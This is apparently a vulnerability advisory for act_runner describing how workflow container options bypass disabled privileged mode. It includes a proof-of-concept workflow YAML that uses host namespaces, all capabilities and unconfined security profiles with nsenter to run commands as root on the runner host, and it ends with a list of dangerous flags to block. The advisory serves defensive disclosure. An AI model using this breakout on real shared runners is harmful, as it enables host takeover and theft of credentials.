Details
### Summary
act_runner appends workflow-controlled `jobs.<job>.container.options` directly
to the Docker HostConfig for the job container. When runner privileged mode is
disabled, only `Privileged` is forced false. Host namespace flags, capability
expansion, and security profile overrides from workflow YAML are preserved in
the final HostConfig. A workflow author can enter host PID/IPC namespaces and
execute commands on the runner host as root.
### Details
Source-to-sink path in act_runner:
- `ContainerSpec.Options` accepts workflow YAML `container.options`
- `RunContext.options()` appends workflow options to runner-level container options
- Job container is created with `Privileged: rc.Config.Privileged` but also
with `Options: rc.options(ctx)`
- `mergeContainerConfigs()` parses Docker CLI-style options into HostConfig
- When privileged mode is disabled, only `copts.privileged` is forced false
- `sanitizeConfig()` only filters `Binds` and `Mounts`
- Preserved dangerous HostConfig fields:
```text
Privileged=false
PidMode=host
IpcMode=host
CapAdd=["ALL"]
SecurityOpt=["seccomp=unconfined","apparmor=unconfined"]
```
Attacker workflow YAML:
```yaml
jobs:
breakout:
runs-on: ubuntu-latest
container:
image: ubuntu:22.04
options: >-
--pid=host --ipc=host --cap-add=ALL
--security-opt seccomp=unconfined
--security-opt apparmor=unconfined
steps:
- name: host namespace marker
run: |
nsenter -t 1 -m -u -i -n -p -- sh -c "id > /tmp/marker"
```
### Impact
An attacker who can submit a workflow to a repository using a shared
Docker-backed act_runner can:
- Enter host PID, IPC, and mount namespaces
- Execute arbitrary commands as root on the runner host
- Access runner host secrets, deployment credentials, and environment variables
- Pivot to adjacent jobs running on the same runner
- Access internal build infrastructure reachable from the runner host
Critical severity for shared runners where untrusted users can trigger
workflows. High severity for single-tenant runners with privileged mode
explicitly disabled as a security control.
### Fix Direction
Treat `container.options` as untrusted input. Reject or strip when
privileged mode is disabled:
- Host namespaces: `--pid=host`, `--ipc=host`, `--uts=host`, `--network=host`
- Capability expansion: `--cap-add ALL`, `--cap-add SYS_ADMIN`
- Security overrides: `--security-opt seccomp=unconfined`, `--security-opt apparmor=unconfined`
- Device access: `--device`, `--device-cgroup-rule`
- Volume inheritance: `--volumes-from`
- Runtime controls: `--runtime`, `--cgroup-parent`
